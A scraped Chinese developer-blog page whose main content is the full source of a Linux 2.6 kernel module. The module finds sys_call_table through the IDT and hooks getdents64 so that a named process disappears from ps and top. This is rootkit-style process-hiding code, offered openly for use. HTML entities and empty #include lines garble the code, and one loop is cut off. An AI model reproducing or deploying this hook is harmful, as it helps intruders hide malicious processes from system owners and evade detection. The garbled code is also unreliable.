热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

在Linux2.6内核中实现隐藏进程的技术方法与实践

本文探讨了在Linux2.6内核中实现进程隐藏的技术方法与实践。通过分析系统调用`sys_getdents`的工作原理,提出了一种有效的方法来隐藏指定的进程。该方法通过对内核模块进行修改,拦截并过滤掉目标进程的相关信息,从而在常用的进程查看命令(如`ps`和`top`)中无法显示这些隐藏的进程。实验结果表明,该方法在实际应用中具有较高的隐蔽性和稳定性。

很早以前的小程序,比较简单但是觉得有趣

原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举

/proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。

以下是LKM代码,在Linux-2.6.14并运行成功

#include

#include

#include

#include

#include

#include

#include

#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

char *processname;

module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,

flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

void** sys_call_table;

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p

if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr <&#39;0&#39; || *ptr > &#39;9&#39;)

return (-1);

res &#43;&#61; (*ptr - &#39;0&#39;) * mul;

mul *&#61; 10;

}

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p &#61; get_current(),*entry&#61;NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid &#61;&#61; pid)

{

printk("pid found\n");

return entry;

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name &#61; p->comm;

i &#61; sizeof(p->comm);

do {

unsigned char c &#61; *name;

name&#43;&#43;;

i--;

*buf &#61; c;

if (!c)

break;

if (c &#61;&#61; &#39;\\&#39;) {

buf[1] &#61; c;

buf &#43;&#61; 2;

continue;

}

if (c &#61;&#61; &#39;\n&#39;) {

buf[0] &#61; &#39;\\&#39;;

buf[1] &#61; &#39;n&#39;;

buf &#43;&#61; 2;

continue;

}

buf&#43;&#43;;

}

while (i);

*buf &#61; &#39;\n&#39;;

return buf &#43; 1;

} int get_process(pid_t pid)

{

struct task_struct *task &#61; get_task(pid);

char *buffer[64] &#61; {0};

if (task)

{

get_name(task, buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

struct inode *dinode;

int len &#61; 0;

int tlen &#61; 0;

struct linux_dirent64 *mydir &#61; NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value &#61; (*orig_getdents) (fd, dirp, count);

tlen &#61; value;

//遍历得到的目录列表

while(tlen > 0)

{

len &#61; dirp->d_reclen;

tlen &#61; tlen - len;

printk("%s\n",dirp->d_name);

//在proc文件系统中&#xff0c;目录名就是pid,我们再根据pid找到进程名

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程&#xff0c;调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp &#43; dirp->d_reclen, tlen);

value &#61; value - len;

}

if(tlen)

dirp &#61; (struct linux_dirent64 *) ((char *)dirp &#43; dirp->d_reclen);

}

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct &#61; 0;

char *p;

asm("sidt %0":"&#61;m"(idtr));

idt &#61; (void *) (idtr.base &#43; 8 * 0x80);

sys_call_off &#61; (idt->off2 <<16) | idt->off1;

if ((p &#61; findoffset((char *) sys_call_off)))

sct &#61; *(unsigned *) (p &#43; 3);

return ((void **)sct);

}

static void filter_exit(void)

{

if (sys_call_table)

sys_call_table[__NR_getdents64] &#61; orig_getdents;

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table &#61; get_sct_addr();

if (!sys_call_table) {

printk("get_act_addr(): NULL...\n");

return 0;

} else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents &#61; sys_call_table[__NR_getdents64];

sys_call_table[__NR_getdents64] &#61; hacked_getdents;

return 0;

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");



推荐阅读
  • 本文深入探讨了IO复用技术的原理与实现,重点分析了其在解决C10K问题中的关键作用。IO复用技术允许单个进程同时管理多个IO对象,如文件、套接字和管道等,通过系统调用如`select`、`poll`和`epoll`,高效地处理大量并发连接。文章详细介绍了这些技术的工作机制,并结合实际案例,展示了它们在高并发场景下的应用效果。 ... [详细]
  • 在Android平台上利用FFmpeg的Swscale组件实现YUV与RGB格式互转
    本文探讨了在Android平台上利用FFmpeg的Swscale组件实现YUV与RGB格式互转的技术细节。通过详细分析Swscale的工作原理和实际应用,展示了如何在Android环境中高效地进行图像格式转换。此外,还介绍了FFmpeg的全平台编译过程,包括x264和fdk-aac的集成,并在Ubuntu系统中配置Nginx和Nginx-RTMP-Module以支持直播推流服务。这些技术的结合为音视频处理提供了强大的支持。 ... [详细]
  • Qt 34:深入探讨缓冲区管理、目录操作及文件系统监控技术——QBuffer、QDir与QFileSystemWatcher的应用分析
    本文深入探讨了Qt框架中QBuffer、QDir和QFileSystemWatcher三个核心类的应用。QBuffer作为缓冲区管理工具,提供了高效的数据读写功能;QDir则专注于目录操作,支持路径遍历和文件检索等任务;而QFileSystemWatcher则用于实时监控文件系统的变化,便于应用程序及时响应文件或目录的增删改操作。通过实例分析,详细解析了这三个类在实际开发中的应用场景和实现细节。 ... [详细]
  • 第五章详细探讨了 Red Hat Enterprise Linux 6 中的 Ext3 文件系统。5.1 节介绍了如何创建 Ext3 文件系统,包括必要的命令和步骤,以及在实际操作中可能遇到的问题和解决方案。此外,还涵盖了 Ext3 文件系统的性能优化和维护技巧,为用户提供全面的操作指南。 ... [详细]
  • 在Python 3环境中,当无法连接互联网时,可以通过下载离线模块包来实现模块的安装。具体步骤包括:首先从PyPI网站下载所需的模块包,然后将其传输到目标环境,并使用`pip install`命令进行本地安装。此方法不仅适用于单个模块,还支持依赖项的批量安装,确保开发环境的完整性和一致性。 ... [详细]
  • 在上篇文章的基础上,本文将继续探讨 Linux 设备驱动中的设备模型与 `devicedriverbus` 机制。在将设备注册到总线之前,需要先创建 `device` 对象。可以通过静态定义 `device` 结构体变量,并调用 `device_register` 函数来完成这一过程。此外,文章还将详细解析设备模型的内部工作机制,以及 `devicedriverbus` 机制如何实现设备与驱动的自动匹配和管理。 ... [详细]
  • 在整理旧文件时,发现了几篇关于2011年MiniGUI技术的博客,虽然内容已显陈旧,但仍然具有一定的参考价值。这些文章详细探讨了MiniGUI的帧缓冲技术、图形渲染引擎以及输入处理机制,为理解早期嵌入式系统的图形界面开发提供了宝贵资料。 ... [详细]
  • 本文介绍了一个基于C++标准库实现的INI文件读写操作类。该类在现有网络资源的基础上进行了扩展和优化,增加了获取当前可执行文件路径和宽字节与多字节字符串转换的功能。通过这些增强功能,该类能够更好地适应各种应用场景,提高代码的可移植性和健壮性。具体实现细节请参见 `IniFileSTL.h` 文件。 ... [详细]
  • 题目描述:小K不幸被LL邪教洗脑,洗脑程度之深使他决定彻底脱离这个邪教。在最终离开前,他计划再进行一次亚瑟王游戏。作为最后一战,他希望这次游戏能够尽善尽美。众所周知,亚瑟王游戏的结果很大程度上取决于运气,但通过合理的策略和算法优化,可以提高获胜的概率。本文将详细解析洛谷P3239 [HNOI2015] 亚瑟王问题,并提供具体的算法实现方法,帮助读者更好地理解和应用相关技术。 ... [详细]
  • 在幼儿园中,有 \( n \) 个小朋友需要通过投票来决定是否午睡。尽管这个问题对每个孩子来说并不是特别重要,但他们仍然希望通过谦让的方式达成一致。每个人都有自己的偏好,但为了集体和谐,他们决定采用一种最小割的方法来解决这一问题。这种方法不仅能够确保每个人的意愿得到尽可能多的尊重,还能找到一个最优的解决方案,使整体满意度最大化。 ... [详细]
  • 探讨 jBPM 数据库表结构设计的精要与实践
    探讨 jBPM 数据库表结构设计的精要与实践 ... [详细]
  • 本文深入探讨了NDK与JNI技术在实际项目中的应用及其学习路径。通过分析工程目录结构和关键代码示例,详细介绍了如何在Android开发中高效利用NDK和JNI,实现高性能计算和跨平台功能。同时,文章还提供了从基础概念到高级实践的系统学习指南,帮助开发者快速掌握这些关键技术。 ... [详细]
  • 掌握DSP必备的56个核心问题,我已经将其收藏以备不时之需! ... [详细]
  • 本文深入探讨了C语言中函数指针作为参数传递的应用及其优势。通过具体示例,详细解析了如何将函数指针作为参数传递给其他函数,展示了其在代码灵活性和可维护性方面的显著提升。 ... [详细]
  • 手机上编写和运行PHP代码的最佳软件推荐 ... [详细]
author-avatar
蓝色流星魂
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有